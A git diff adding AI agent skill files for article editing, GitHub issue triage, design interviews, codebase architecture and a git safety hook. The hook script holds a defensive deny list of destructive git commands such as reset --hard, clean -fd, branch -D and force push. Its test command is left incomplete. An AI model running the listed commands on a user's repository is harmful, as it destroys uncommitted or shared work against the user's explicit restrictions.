0000000000000000000000000000000000000000..ac0552534e1c93509de9c5991343c0656e5e7bda --- /dev/null +++ b/imported-skills/mattpocock/edit-article/SKILL.md @@ -0,0 +1,14 @@ +--- +name: edit-article +description: Edit and improve articles by restructuring sections, improving clarity, and tightening prose. Use when user wants to edit, revise, or improve an article draft. +--- + +1. First, divide the article into sections based on its headings. Think about the main points you want to make during those sections. + +Consider that information is a directed acyclic graph, and that pieces of information can depend on other pieces of information. Make sure that the order of the sections and their contents respects these dependencies. + +Confirm the sections with the user. + +2. For each section: + +2a. Rewrite the section to improve clarity, coherence, and flow. Use maximum 240 characters per paragraph. diff --git a/imported-skills/mattpocock/git-guardrails-claude-code/SKILL.md b/imported-skills/mattpocock/git-guardrails-claude-code/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..de0c0ab5223bdfacf9f3e337054e172e2d03c580 --- /dev/null +++ b/imported-skills/mattpocock/git-guardrails-claude-code/SKILL.md @@ -0,0 +1,95 @@ +--- +name: git-guardrails-claude-code +description: Set up Claude Code hooks to block dangerous git commands (push, reset --hard, clean, branch -D, etc.) before they execute. Use when user wants to prevent destructive git operations, add git safety hooks, or block git push/reset in Claude Code. +--- + +# Setup Git Guardrails + +Sets up a PreToolUse hook that intercepts and blocks dangerous git commands before Claude executes them. + +## What Gets Blocked + +- `git push` (all variants including `--force`) +- `git reset --hard` +- `git clean -f` / `git clean -fd` +- `git branch -D` +- `git checkout .` / `git restore .` + +When blocked, Claude sees a message telling it that it does not have authority to access these commands. + +## Steps + +### 1. Ask scope + +Ask the user: install for **this project only** (`.claude/settings.json`) or **all projects** (`~/.claude/settings.json`)? + +### 2. Copy the hook script + +The bundled script is at: [scripts/block-dangerous-git.sh](scripts/block-dangerous-git.sh) + +Copy it to the target location based on scope: + +- **Project**: `.claude/hooks/block-dangerous-git.sh` +- **Global**: `~/.claude/hooks/block-dangerous-git.sh` + +Make it executable with `chmod +x`. + +### 3. Add hook to settings + +Add to the appropriate settings file: + +**Project** (`.claude/settings.json`): + +```json +{ + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash", + "hooks": [ + { + "type": "command", + "command": "\"$CLAUDE_PROJECT_DIR\"/.claude/hooks/block-dangerous-git.sh" + } + ] + } + ] + } +} +``` + +**Global** (`~/.claude/settings.json`): + +```json +{ + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash", + "hooks": [ + { + "type": "command", + "command": "~/.claude/hooks/block-dangerous-git.sh" + } + ] + } + ] + } +} +``` + +If the settings file already exists, merge the hook into existing `hooks.PreToolUse` array — don't overwrite other settings. + +### 4. Ask about customization + +Ask if user wants to add or remove any patterns from the blocked list. Edit the copied script accordingly. + +### 5. Verify + +Run a quick test: + +```bash +echo '{"tool_input":{"command":"git push origin main"}}' | +``` + +Should exit with code 2 and print a BLOCKED message to stderr. diff --git a/imported-skills/mattpocock/git-guardrails-claude-code/scripts/block-dangerous-git.sh b/imported-skills/mattpocock/git-guardrails-claude-code/scripts/block-dangerous-git.sh new file mode 100644 index 0000000000000000000000000000000000000000..2ddf855e7c13b4e6561b7a50901d62c279801a1a --- /dev/null +++ b/imported-skills/mattpocock/git-guardrails-claude-code/scripts/block-dangerous-git.sh @@ -0,0 +1,25 @@ +#!/bin/bash + +INPUT=$(cat) +COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command') + +DANGEROUS_PATTERNS=( + "git push" + "git reset --hard" + "git clean -fd" + "git clean -f" + "git branch -D" + "git checkout \." + "git restore \." + "push --force" + "reset --hard" +) + +for pattern in "${DANGEROUS_PATTERNS[@]}"; do + if echo "$COMMAND" | grep -qE "$pattern"; then + echo "BLOCKED: '$COMMAND' matches dangerous pattern '$pattern'. The user has prevented you from doing this." >&2 + exit 2 + fi +done + +exit 0 diff --git a/imported-skills/mattpocock/github-triage/AGENT-BRIEF.md b/imported-skills/mattpocock/github-triage/AGENT-BRIEF.md new file mode 100644 index 0000000000000000000000000000000000000000..31226aa4ab25253bf987942c9ee0e17a1536af28 --- /dev/null +++ b/imported-skills/mattpocock/github-triage/AGENT-BRIEF.md @@ -0,0 +1,168 @@ +# Writing Agent Briefs + +An agent brief is a structured comment posted on a GitHub issue when it moves to `ready-for-agent`. It is the authoritative specification that an AFK agent will work from. The original issue body and discussion are context — the agent brief is the contract. + +## Principles + +### Durability over precision + +The issue may sit in `ready-for-agent` for days or weeks. The codebase will change in the meantime. Write the brief so it stays useful even as files are renamed, moved, or refactored. + +- **Do** describe interfaces, types, and behavioral contracts +- **Do** name specific types, function signatures, or config shapes that the agent should look for or modify +- **Don't** reference file paths — they go stale +- **Don't** reference line numbers +- **Don't** assume the current implementation structure will remain the same + +### Behavioral, not procedural + +Describe **what** the system should do, not **how** to implement it. The agent will explore the codebase fresh and make its own implementation decisions. + +- **Good:** "The `SkillConfig` type should accept an optional `schedule` field of type `CronExpression`" +- **Bad:** "Open src/types/skill.ts and add a schedule field on line 42" +- **Good:** "When a user runs `/triage` with no arguments, they should see a summary of issues needing attention" +- **Bad:** "Add a switch statement in the main handler function" + +### Complete acceptance criteria + +The agent needs to know when it's done. Every agent brief must have concrete, testable acceptance criteria. Each criterion should be independently verifiable. + +- **Good:** "Running `gh issue list --label needs-triage` returns issues that have been through initial classification" +- **Bad:** "Triage should work correctly" + +### Explicit scope boundaries + +State what is out of scope. This prevents the agent from gold-plating or making assumptions about adjacent features. + +## Template + +```markdown +## Agent Brief + +**Category:** bug / enhancement +**Summary:** one-line description of what needs to happen + +**Current behavior:** +Describe what happens now. For bugs, this is the broken behavior. +For enhancements, this is the status quo the feature builds on. + +**Desired behavior:** +Describe what should happen after the agent's work is complete. +Be specific about edge cases and error conditions. + +**Key interfaces:** +- `TypeName` — what needs to change and why +- `functionName()` return type — what it currently returns vs what it should return +- Config shape — any new configuration options needed + +**Acceptance criteria:** +- [ ] Specific, testable criterion 1 +- [ ] Specific, testable criterion 2 +- [ ] Specific, testable criterion 3 + +**Out of scope:** +- Thing that should NOT be changed or addressed in this issue +- Adjacent feature that might seem related but is separate +``` + +## Examples + +### Good agent brief (bug) + +```markdown +## Agent Brief + +**Category:** bug +**Summary:** Skill description truncation drops mid-word, producing broken output + +**Current behavior:** +When a skill description exceeds 1024 characters, it is truncated at exactly +1024 characters regardless of word boundaries. This produces descriptions +that end mid-word (e.g. "Use when the user wants to confi"). + +**Desired behavior:** +Truncation should break at the last word boundary before 1024 characters +and append "..." to indicate truncation. + +**Key interfaces:** +- The `SkillMetadata` type's `description` field — no type change needed, + but the validation/processing logic that populates it needs to respect + word boundaries +- Any function that reads SKILL.md frontmatter and extracts the description + +**Acceptance criteria:** +- [ ] Descriptions under 1024 chars are unchanged +- [ ] Descriptions over 1024 chars are truncated at the last word boundary + before 1024 chars +- [ ] Truncated descriptions end with "..." +- [ ] The total length including "..." does not exceed 1024 chars + +**Out of scope:** +- Changing the 1024 char limit itself +- Multi-line description support +``` + +### Good agent brief (enhancement) + +```markdown +## Agent Brief + +**Category:** enhancement +**Summary:** Add `.out-of-scope/` directory support for tracking rejected feature requests + +**Current behavior:** +When a feature request is rejected, the issue is closed with a `wontfix` label +and a comment. There is no persistent record of the decision or reasoning. +Future similar requests require the maintainer to recall or search for the +prior discussion. + +**Desired behavior:** +Rejected feature requests should be documented in `.out-of-scope/.md` +files that capture the decision, reasoning, and links to all issues that +requested the feature. When triaging new issues, these files should be +checked for matches. + +**Key interfaces:** +- Markdown file format in `.out-of-scope/` — each file should have a + `# Concept Name` heading, a `**Decision:**` line, a `**Reason:**` line, + and a `**Prior requests:**` list with issue links +- The triage workflow should read all `.out-of-scope/*.md` files early + and match incoming issues against them by concept similarity + +**Acceptance criteria:** +- [ ] Closing a feature as wontfix creates/updates a file in `.out-of-scope/` +- [ ] The file includes the decision, reasoning, and link to the closed issue +- [ ] If a matching `.out-of-scope/` file already exists, the new issue is + appended to its "Prior requests" list rather than creating a duplicate +- [ ] During triage, existing `.out-of-scope/` files are checked and surfaced + when a new issue matches a prior rejection + +**Out of scope:** +- Automated matching (human confirms the match) +- Reopening previously rejected features +- Bug reports (only enhancement rejections go to `.out-of-scope/`) +``` + +### Bad agent brief + +```markdown +## Agent Brief + +**Summary:** Fix the triage bug + +**What to do:** +The triage thing is broken. Look at the main file and fix it. +The function around line 150 has the issue. + +**Files to change:** +- src/triage/handler.ts (line 150) +- src/types.ts (line 42) +``` + +This is bad because: +- No category +- Vague description ("the triage thing is broken") +- References file paths and line numbers that will go stale +- No acceptance criteria +- No scope boundaries +- No description of current vs desired behavior diff --git a/imported-skills/mattpocock/github-triage/OUT-OF-SCOPE.md b/imported-skills/mattpocock/github-triage/OUT-OF-SCOPE.md new file mode 100644 index 0000000000000000000000000000000000000000..ca616588a952e01bacfec4ea114e7dceda468ae4 --- /dev/null +++ b/imported-skills/mattpocock/github-triage/OUT-OF-SCOPE.md @@ -0,0 +1,101 @@ +# Out-of-Scope Knowledge Base + +The `.out-of-scope/` directory in a repo stores persistent records of rejected feature requests. It serves two purposes: + +1. **Institutional memory** — why a feature was rejected, so the reasoning isn't lost when the issue is closed +2. **Deduplication** — when a new issue comes in that matches a prior rejection, the skill can surface the previous decision instead of re-litigating it + +## Directory structure + +``` +.out-of-scope/ +├── dark-mode.md +├── plugin-system.md +└── graphql-api.md +``` + +One file per **concept**, not per issue. Multiple issues requesting the same thing are grouped under one file. + +## File format + +The file should be written in a relaxed, readable style — more like a short design document than a database entry. Use paragraphs, code samples, and examples to make the reasoning clear and useful to someone encountering it for the first time. + +```markdown +# Dark Mode + +This project does not support dark mode or user-facing theming. + +## Why this is out of scope + +The rendering pipeline assumes a single color palette defined in +`ThemeConfig`. Supporting multiple themes would require: + +- A theme context provider wrapping the entire component tree +- Per-component theme-aware style resolution +- A persistence layer for user theme preferences + +This is a significant architectural change that doesn't align with the +project's focus on content authoring. Theming is a concern for downstream +consumers who embed or redistribute the output. + +```ts +// The current ThemeConfig interface is not designed for runtime switching: +interface ThemeConfig { + colors: ColorPalette; // single palette, resolved at build time + fonts: FontStack; +} +``` + +## Prior requests + +- #42 — "Add dark mode support" +- #87 — "Night theme for accessibility" +- #134 — "Dark theme option" +``` + +### Naming the file + +Use a short, descriptive kebab-case name for the concept: `dark-mode.md`, `plugin-system.md`, `graphql-api.md`. The name should be recognizable enough that someone browsing the directory understands what was rejected without opening the file. + +### Writing the reason + +The reason should be substantive — not "we don't want this" but why. Good reasons reference: + +- Project scope or philosophy ("This project focuses on X; theming is a downstream concern") +- Technical constraints ("Supporting this would require Y, which conflicts with our Z architecture") +- Strategic decisions ("We chose to use A instead of B because...") + +The reason should be durable. Avoid referencing temporary circumstances ("we're too busy right now") — those aren't real rejections, they're deferrals. + +## When to check `.out-of-scope/` + +During triage (Step 1: Gather context), read all files in `.out-of-scope/`. When evaluating a new issue: + +- Check if the request matches an existing out-of-scope concept +- Matching is by concept similarity, not keyword — "night theme" matches `dark-mode.md` +- If there's a match, surface it to the maintainer: "This is similar to `.out-of-scope/dark-mode.md` — we rejected this before because [reason]. Do you still feel the same way?" + +The maintainer may: + +- **Confirm** — the new issue gets added to the existing file's "Prior requests" list, then closed +- **Reconsider** — the out-of-scope file gets deleted or updated, and the issue proceeds through normal triage +- **Disagree** — the issues are related but distinct, proceed with normal triage + +## When to write to `.out-of-scope/` + +Only when an **enhancement** (not a bug) is rejected as `wontfix`. The flow: + +1. Maintainer decides a feature request is out of scope +2. Check if a matching `.out-of-scope/` file already exists +3. If yes: append the new issue to the "Prior requests" list +4. If no: create a new file with the concept name, decision, reason, and first prior request +5. Post a comment on the issue explaining the decision and mentioning the `.out-of-scope/` file +6. Close the issue with the `wontfix` label + +## Updating or removing out-of-scope files + +If the maintainer changes their mind about a previously rejected concept: + +- Delete the `.out-of-scope/` file +- The skill does not need to reopen old issues — they're historical records +- The new issue that triggered the reconsideration proceeds through normal triage diff --git a/imported-skills/mattpocock/github-triage/SKILL.md b/imported-skills/mattpocock/github-triage/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..186f6d3bef1a2bdec4a33fb6886cb103028e8cb2 --- /dev/null +++ b/imported-skills/mattpocock/github-triage/SKILL.md @@ -0,0 +1,168 @@ +--- +name: github-triage +description: Triage GitHub issues through a label-based state machine. Use when user wants to create an issue, triage issues, review incoming bugs or feature requests, prepare issues for an AFK agent, or manage issue workflow. +--- + +# GitHub Issue Triage + +Triage issues in the current repo using a label-based state machine. Infer the repo from `git remote`. Use `gh` for all GitHub operations. + +## AI Disclaimer + +Every comment or issue posted to GitHub during triage **must** include the following disclaimer at the top of the comment body, before any other content: + +``` +> *This was generated by AI during triage.* +``` + +## Reference docs + +- [AGENT-BRIEF.md](AGENT-BRIEF.md) — how to write durable agent briefs +- [OUT-OF-SCOPE.md](OUT-OF-SCOPE.md) — how the `.out-of-scope/` knowledge base works + +## Labels + +| Label | Type | Description | +| ----------------- | -------- | ---------------------------------------- | +| `bug` | Category | Something is broken | +| `enhancement` | Category | New feature or improvement | +| `needs-triage` | State | Maintainer needs to evaluate this issue | +| `needs-info` | State | Waiting on reporter for more information | +| `ready-for-agent` | State | Fully specified, ready for AFK agent | +| `ready-for-human` | State | Requires human implementation | +| `wontfix` | State | Will not be actioned | + +Every issue should have exactly **one** state label and **one** category label. If an issue has conflicting state labels (e.g. both `needs-triage` and `ready-for-agent`), flag the conflict and ask the maintainer which state is correct before doing anything else. Provide a recommendation. + +## State Machine + +| Current State | Can transition to | Who triggers it | What happens | +| -------------- | ----------------- | ---------------------- | -------------------------------------------------------------------------------------------------------------------- | +| `unlabeled` | `needs-triage` | Skill (on first look) | Issue needs maintainer evaluation. Skill applies label after presenting recommendation. | +| `unlabeled` | `ready-for-agent` | Maintainer (via skill) | Issue is already well-specified and agent-suitable. Skill writes agent brief comment, applies label. | +| `unlabeled` | `ready-for-human` | Maintainer (via skill) | Issue requires human implementation. Skill writes a brief comment summarizing the task, applies label. | +| `unlabeled` | `wontfix` | Maintainer (via skill) | Issue is spam, duplicate, or out of scope. Skill closes with comment (and writes `.out-of-scope/` for enhancements). | +| `needs-triage` | `needs-info` | Maintainer (via skill) | Issue is underspecified. Skill posts triage notes capturing progress so far + questions for reporter. | +| `needs-triage` | `ready-for-agent` | Maintainer (via skill) | Grilling session complete, agent-suitable. Skill writes agent brief comment, applies label. | +| `needs-triage` | `ready-for-human` | Maintainer (via skill) | Grilling session complete, needs human. Skill writes a brief comment summarizing the task, applies label. | +| `needs-triage` | `wontfix` | Maintainer (via skill) | Maintainer decides not to action. Skill closes with comment (and writes `.out-of-scope/` for enhancements). | +| `needs-info` | `needs-triage` | Skill (detects reply) | Reporter has replied. Skill surfaces to maintainer for re-evaluation. | + +An issue can only move along these transitions. The maintainer can override any state directly (see Quick State Override below), but the skill should flag if the transition is unusual. + +## Invocation + +The maintainer invokes `/github-triage` then describes what they want in natural language. The skill interprets the request and takes the appropriate action. + +Example requests: + +- "Show me anything that needs my attention" +- "Let's look at #42" +- "Move #42 to ready-for-agent" +- "What's ready for agents to pick up?" +- "Are there any unlabeled issues?" + +## Workflow: Show What Needs Attention + +When the maintainer asks for an overview, query GitHub and present a summary grouped into three buckets: + +1. **Unlabeled issues** — new, no labels at all. These have never been triaged. +2. **`needs-triage` issues** — maintainer needs to evaluate or continue evaluating. +3. **`needs-info` issues with new activity** — the reporter has commented since the last triage notes comment. Check comment timestamps to determine this. + +Display counts per group. Within each group, show issues oldest first (longest-waiting gets attention first). For each issue, show: number, title, age, and a one-line summary of the issue body. + +Let the maintainer pick which issue to dive into. + +## Workflow: Triage a Specific Issue + +### Step 1: Gather context + +Before presenting anything to the maintainer: + +- Read the full issue: body, all comments, all labels, who reported it, when +- If there are prior triage notes comments (from previous sessions), parse them to understand what has already been established +- Explore the codebase to build context — understand the domain, relevant interfaces, and existing behavior related to the issue +- Read `.out-of-scope/*.md` files and check if this issue matches or is similar to a previously rejected concept + +### Step 2: Present a recommendation + +Tell the maintainer: + +- **Category recommendation:** bug or enhancement, with reasoning +- **State recommendation:** where this issue should go, with reasoning +- If it matches a prior out-of-scope rejection, surface that: "This is similar to `.out-of-scope/concept-name.md` — we rejected this before because X. Do you still feel the same way?" +- A brief summary of what you found in the codebase that's relevant + +Then wait for the maintainer's direction. They may: + +- Agree and ask you to apply labels → do it +- Want to flesh it out → start a /domain-model session +- Override with a different state → apply their choice +- Want to discuss → have a conversation + +### Step 3: Bug reproduction (bugs only) + +If the issue is categorized as a bug, attempt to reproduce it before starting a /domain-model session. This will vary by codebase, but do your best: + +- Read the reporter's reproduction steps (if provided) +- Explore the codebase to understand the relevant code paths +- Try to reproduce the bug: run tests, execute commands, or trace the logic to confirm the reported behavior +- If reproduction succeeds, report what you found to the maintainer — include the specific behavior you observed and where in the code it originates +- If reproduction fails, report that too — the bug may be environment-specific, already fixed, or the report may be inaccurate +- If the report lacks enough detail to attempt reproduction, note that — this is a strong signal the issue should move to `needs-info` + +The reproduction attempt informs the /domain-model session and the agent brief. A confirmed reproduction with a known code path makes for a much stronger brief. + +### Step 4: /domain-model session (if needed) + +If the issue needs to be fleshed out before it's ready for an agent, interview the maintainer to build a complete specification. Use the /domain-model skill. + +### Step 5: Apply the outcome + +Depending on the outcome: + +- **ready-for-agent** — post an agent brief comment (see [AGENT-BRIEF.md](AGENT-BRIEF.md)) +- **ready-for-human** — post a comment summarizing the task, what was established during triage, and why it needs human implementation. Use the same structure as an agent brief but note the reason it can't be delegated to an agent (e.g. requires judgment calls, external system access, design decisions, or manual testing). +- **needs-info** — post triage notes with progress so far and questions for the reporter (see Needs Info Output below) +- **wontfix (bug)** — post a polite comment explaining why, then close the issue +- **wontfix (enhancement)** — write to `.out-of-scope/`, post a comment linking to it, then close the issue (see [OUT-OF-SCOPE.md](OUT-OF-SCOPE.md)) +- **needs-triage** — apply the label. Optionally leave a comment if there's partial progress to capture. + +## Workflow: Quick State Override + +When the maintainer explicitly tells you to move an issue to a specific state (e.g. "move #42 to ready-for-agent"), trust their judgment and apply the label directly. + +Still show a confirmation of what you're about to do: which labels will be added/removed, and whether you'll post a comment or close the issue. But skip the /domain-model session entirely. + +If moving to `ready-for-agent` without a /domain-model session, ask the maintainer if they want to write a brief agent brief comment or skip it. + +## Needs Info Output + +When moving an issue to `needs-info`, post a comment that captures the interview progress and tells the reporter what's needed: + +```markdown +## Triage Notes + +**What we've established so far:** + +- point 1 +- point 2 + +**What we still need from you (@reporter):** + +- question 1 +- question 2 +``` + +Include everything resolved during the /domain-model session in "established so far" — this work should not be lost. The questions for the reporter should be specific and actionable, not vague ("please provide more info"). + +## Resuming Previous Sessions + +When triaging an issue that already has triage notes from a previous session: + +1. Read all comments to find prior triage notes +2. Parse what was already established +3. Check if the reporter has answered any outstanding questions +4. Present the maintainer with an updated picture: "Here's where we left off, and here's what the reporter has said since" +5. Continue the /domain-model session from where it stopped — do not re-ask resolved questions diff --git a/imported-skills/mattpocock/grill-me/SKILL.md b/imported-skills/mattpocock/grill-me/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..f2028980ee7f64f97ee8e37682fb96d160ddfc58 --- /dev/null +++ b/imported-skills/mattpocock/grill-me/SKILL.md @@ -0,0 +1,10 @@ +--- +name: grill-me +description: Interview the user relentlessly about a plan or design until reaching shared understanding, resolving each branch of the decision tree. Use when user wants to stress-test a plan, get grilled on their design, or mentions "grill me". +--- + +Interview me relentlessly about every aspect of this plan until we reach a shared understanding. Walk down each branch of the design tree, resolving dependencies between decisions one-by-one. For each question, provide your recommended answer. + +Ask the questions one at a time. + +If a question can be answered by exploring the codebase, explore the codebase instead. diff --git a/imported-skills/mattpocock/improve-codebase-architecture/DEEPENING.md b/imported-skills/mattpocock/improve-codebase-architecture/DEEPENING.md new file mode 100644 index 0000000000000000000000000000000000000000..ad8b25815aff1df2b82854bbbbbe6d3801388afe --- /dev/null +++ b/imported-skills/mattpocock/improve-codebase-architecture/DEEPENING.md @@ -0,0 +1,37 @@ +# Deepening + +How to deepen a cluster of shallow modules safely, given its dependencies. Assumes the vocabulary in [LANGUAGE.md](LANGUAGE.md) — **module**, **interface**, **seam**, **adapter**. + +## Dependency categories + +When assessing a candidate for deepening, classify its dependencies. The category determines how the deepened module is tested across its seam. + +### 1. In-process + +Pure computation, in-memory state, no I/O. Always deepenable — merge the modules and test through the new interface directly. No adapter needed. + +### 2. Local-substitutable + +Dependencies that have local test stand-ins (PGLite for Postgres, in-memory filesystem). Deepenable if the stand-in exists. The deepened module is tested with the stand-in running in the test suite. The seam is internal; no port at the module's external interface. + +### 3. Remote but owned (Ports & Adapters) + +Your own services across a network boundary (microservices, internal APIs). Define a **port** (interface) at the seam. The deep module owns the logic; the transport is injected as an **adapter**. Tests use an in-memory adapter. Production uses an HTTP/gRPC/queue adapter. + +Recommendation shape: *"Define a port at the seam, implement an HTTP adapter for production and an in-memory adapter for testing, so the logic sits in one deep module even though it's deployed across a network."* + +### 4. True external (Mock) + +Third-party services (Stripe, Twilio, etc.) you don't control. The deepened module takes the external dependency as an injected port; tests provide a mock adapter. + +## Seam discipline + +- **One adapter means a hypothetical seam. Two adapters means a real one.** Don't introduce a port unless at least two adapters are justified (typically production + test). A single-adapter seam is just indirection. +- **Internal seams vs external seams.** A deep module can have internal seams (private to its implementation, used by its own tests) as well as the external seam at its interface. Don't expose internal seams through the interface just because tests use them. + +## Testing strategy: replace, don't layer + +- Old unit tests on shallow modules become waste once tests at the deepened module's interface exist — delete them. +- Write new tests at the deepened module's interface. The **interface is the test surface**. +- Tests assert on observable outcomes through the interface, not internal state. +- Tests should survive internal refactors — they describe behaviour, not implementation. If a test has to change when the implementation changes, it's testing past the interface. diff --git a/imported-skills/mattpocock/improve-codebase-architecture/INTERFACE-DESIGN.md b/imported-skills/mattpocock/improve-codebase-architecture/INTERFACE-DESIGN.md new file mode 100644 index 0000000000000000000000000000000000000000..c974af32168faa013c409fa8517751f7551eb071 --- /dev/null +++ b/imported-skills/mattpocock/improve-codebase-architecture/INTERFACE-DESIGN.md @@ -0,0 +1,44 @@ +# Interface Design + +When the user wants to explore alternative interfaces for a chosen deepening candidate, use this parallel sub-agent pattern. Based on "Design It Twice" (Ousterhout) — your first idea is unlikely to be the best. + +Uses the vocabulary in [LANGUAGE.md](LANGUAGE.md) — **module**, **interface**, **seam**, **adapter**, **leverage**. + +## Process + +### 1. Frame the problem space + +Before spawning sub-agents, write a user-facing explanation of the problem space for the chosen candidate: + +- The constraints any new interface would need to satisfy +- The dependencies it would rely on, and which category they fall into (see [DEEPENING.md](DEEPENING.md)) +- A rough illustrative code sketch to ground the constraints — not a proposal, just a way to make the constraints concrete + +Show this to the user, then immediately proceed to Step 2. The user reads and thinks while the sub-agents work in parallel. + +### 2. Spawn sub-agents + +Spawn 3+ sub-agents in parallel using the Agent tool. Each must produce a **radically different** interface for the deepened module. + +Prompt each sub-agent with a separate technical brief (file paths, coupling details, dependency category from [DEEPENING.md](DEEPENING.md), what sits behind the seam). The brief is independent of the user-facing problem-space explanation in Step 1. Give each agent a different design constraint: + +- Agent 1: "Minimize the interface — aim for 1–3 entry points max. Maximise leverage per entry point." +- Agent 2: "Maximise flexibility — support many use cases and extension." +- Agent 3: "Optimise for the most common caller — make the default case trivial." +- Agent 4 (if applicable): "Design around ports & adapters for cross-seam dependencies." + +Include both [LANGUAGE.md](LANGUAGE.md) vocabulary and CONTEXT.md vocabulary in the brief so each sub-agent names things consistently with the architecture language and the project's domain language. + +Each sub-agent outputs: + +1. Interface (types, methods, params — plus invariants, ordering, error modes) +2. Usage example showing how callers use it +3. What the implementation hides behind the seam +4. Dependency strategy and adapters (see [DEEPENING.md](DEEPENING.md)) +5. Trade-offs — where leverage is high, where it's thin + +### 3. Present and compare + +Present designs sequentially so the user can absorb each one, then compare them in prose. Contrast by **depth** (leverage at the interface), **locality** (where change concentrates), and **seam placement**. + +After comparing, give your own recommendation: which design you think is strongest and why. If elements from different designs would combine well, propose a hybrid. Be opinionated — the user wants a strong read, not a menu. diff --git a/imported-skills/mattpocock/improve-codebase-architecture/LANGUAGE.md b/imported-skills/mattpocock/improve-codebase-architecture/LANGUAGE.md new file mode 100644 index 0000000000000000000000000000000000000000..45eb68f7b99d00a959cc8e865e6fc1bd3c01585d --- /dev/null +++ b/imported-skills/mattpocock/improve-codebase-architecture/LANGUAGE.md @@ -0,0 +1,53 @@ +# Language + +Shared vocabulary for every suggestion this skill makes. Use these terms exactly — don't substitute "component," "service," "API," or "boundary." Consistent language is the whole point. + +## Terms + +**Module** +Anything with an interface and an implementation. Deliberately scale-agnostic — applies equally to a function, class, package, or tier-spanning slice. +_Avoid_: unit, component, service. + +**Interface** +Everything a caller must know to use the module correctly. Includes the type signature, but also invariants, ordering constraints, error modes, required configuration, and performance characteristics. +_Avoid_: API, signature (too narrow — those refer only to the type-level surface). + +**Implementation** +What's inside a module — its body of code. Distinct from **Adapter**: a thing can be a small adapter with a large implementation (a Postgres repo) or a large adapter with a small implementation (an in-memory fake). Reach for "adapter" when the seam is the topic; "implementation" otherwise. + +**Depth** +Leverage at the interface — the amount of behaviour a caller (or test) can exercise per unit of interface they have to learn. A module is **deep** when a large amount of behaviour sits behind a small interface. A module is **shallow** when the interface is nearly as complex as the implementation. + +**Seam** _(from Michael Feathers)_ +A place where you can alter behaviour without editing in that place. The *location* at which a module's interface lives. Choosing where to put the seam is its own design decision, distinct from what goes behind it. +_Avoid_: boundary (overloaded with DDD's bounded context). + +**Adapter** +A concrete thing that satisfies an interface at a seam. Describes *role* (what slot it fills), not substance (what's inside). + +**Leverage** +What callers get from depth. More capability per unit of interface they have to learn. One implementation pays back across N call sites and M tests. + +**Locality** +What maintainers get from depth. Change, bugs, knowledge, and verification concentrate at one place rather than spreading across callers. Fix once, fixed everywhere. + +## Principles + +- **Depth is a property of the interface, not the implementation.** A deep module can be internally composed of small, mockable, swappable parts — they just aren't part of the interface. A module can have **internal seams** (private to its implementation, used by its own tests) as well as the **external seam** at its interface. +- **The deletion test.** Imagine deleting the module. If complexity vanishes, the module wasn't hiding anything (it was a pass-through). If complexity reappears across N callers, the module was earning its keep. +- **The interface is the test surface.** Callers and tests cross the same seam. If you want to test *past* the interface, the module is probably the wrong shape. +- **One adapter means a hypothetical seam. Two adapters means a real one.** Don't introduce a seam unless something actually varies across it. + +## Relationships + +- A **Module** has exactly one **Interface** (the surface it presents to callers and tests). +- **Depth** is a property of a **Module**, measured against its **Interface**. +- A **Seam** is where a **Module**'s **Interface** lives. +- An **Adapter** sits at a **Seam** and satisfies the **Interface**. +- **Depth** produces **Leverage** for callers and **Locality** for maintainers. + +## Rejected framings + +- **Depth as ratio of implementation-lines to interface-lines** (Ousterhout): rewards padding the implementation. We use depth-as-leverage instead. +- **"Interface" as the TypeScript `interface` keyword or a class's public methods**: too narrow — interface here includes every fact a caller must know. +- **"Boundary"**: overloaded with DDD's bounded context. Say **seam** or **interface**. diff --git a/imported-skills/mattpocock/improve-codebase-architecture/SKILL.md b/imported-skills/mattpocock/improve-codebase-architecture/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..b74d9dd1672e3b631e97607021da064ec24f4cf4 --- /dev/null +++ b/imported-skills/mattpocock/improve-codebase-architecture/SKILL.md @@ -0,0 +1,76 @@ +--- +name: improve-codebase-architecture +description: Find deepening opportunities in a codebase, informed by the domain language in CONTEXT.md and the decisions in docs/adr/. Use when the user wants to improve architecture, find refactoring opportunities, consolidate tightly-coupled modules, or make a codebase more testable and AI-navigable. +--- + +# Improve Codebase Architecture + +Surface architectural friction and propose **deepening opportunities** — refactors that turn shallow modules into deep ones. The aim is testability and AI-navigability. + +## Glossary + +Use these terms exactly in every suggestion. Consistent language is the point — don't drift into "component," "service," "API," or "boundary." Full definitions in [LANGUAGE.md](LANGUAGE.md). + +- **Module** — anything with an interface and an implementation (function, class, package, slice). +- **Interface** — everything a caller must know to use the module: types, invariants, error modes, ordering, config. Not just the type signature. +- **Implementation** — the code inside. +- **Depth** — leverage at the interface: a lot of behaviour behind a small interface. **Deep** = high leverage. **Shallow** = interface nearly as complex as the implementation. +- **Seam** — where an interface lives; a place behaviour can be altered without editing in place. (Use this, not "boundary.") +- **Adapter** — a concrete thing satisfying an interface at a seam. +- **Leverage** — what callers get from depth. +- **Locality** — what maintainers get from depth: change, bugs, knowledge concentrated in one place. + +Key principles (see [LANGUAGE.md](LANGUAGE.md) for the full list): + +- **Deletion test**: imagine deleting the module. If complexity vanishes, it was a pass-through. If complexity reappears across N callers, it was earning its keep. +- **The interface is the test surface.** +- **One adapter = hypothetical seam. Two adapters = real seam.** + +This skill is _informed_ by the project's domain model — `CONTEXT.md` and any `docs/adr/`. The domain language gives names to good seams; ADRs record decisions the skill should not re-litigate. See [CONTEXT-FORMAT.md](../domain-model/CONTEXT-FORMAT.md) and [ADR-FORMAT.md](../domain-model/ADR-FORMAT.md). + +## Process + +### 1. Explore + +Read existing documentation first: + +- `CONTEXT.md` (or `CONTEXT-MAP.md` + each `CONTEXT.md` in a multi-context repo) +- Relevant ADRs in `docs/adr/` (and any context-scoped `docs/adr/` directories) + +If any of these files don't exist, proceed silently — don't flag their absence or suggest creating them upfront. + +Then use the Agent tool with `subagent_type=Explore` to walk the codebase. Don't follow rigid heuristics — explore organically and note where you experience friction: + +- Where does understanding one concept require bouncing between many small modules? +- Where are modules **shallow** — interface nearly as complex as the implementation? +- Where have pure functions been extracted just for testability, but the real bugs hide in how they're called (no **locality**)? +- Where do tightly-coupled modules leak across their seams? +- Which parts of the codebase are untested, or hard to test through their current interface? + +Apply the **deletion test** to anything you suspect is shallow: would deleting it concentrate complexity, or just move it? A "yes, concentrates" is the signal you want. + +### 2. Present candidates + +Present a numbered list of deepening opportunities. For each candidate: + +- **Files** — which files/modules are involved +- **Problem** — why the 